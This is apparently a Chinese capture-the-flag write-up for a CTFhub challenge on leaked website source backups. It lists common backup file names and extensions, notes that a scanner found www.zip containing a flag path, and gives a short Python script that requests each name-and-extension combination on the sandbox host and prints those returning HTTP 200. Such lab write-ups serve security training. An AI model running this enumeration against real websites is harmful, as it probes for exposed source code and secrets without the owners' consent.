CTFhub 获取网站源码

常见的网站源码备份文件后缀
tar
tar.gz
zip
rar
常见的网站源码备份文件名
web
website
backup
back
www
wwwroot
temp

7k扫描查到是www.zip ,下载发现flag文件，访问即可得到
http://challenge-9936840b90db7048.sandbox.ctfhub.com:10080/flag_288466972.txt
也可以自己写python脚本生成一下字典

通过获取响应状态码判断

#!usr/bin/env python
#_*_ coding:utf-8 _*_

import requests
url="http://challenge-9936840b90db7048.sandbox.ctfhub.com:10080/"
list1=['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
list2=['tar', 'tar.gz', 'zip', 'rar']
for i in list1:
    for j in list2:
        url_f=url+i+"."+j
        r=requests.get(url_f)
        if(r.status_code == 200):
            print(url_f)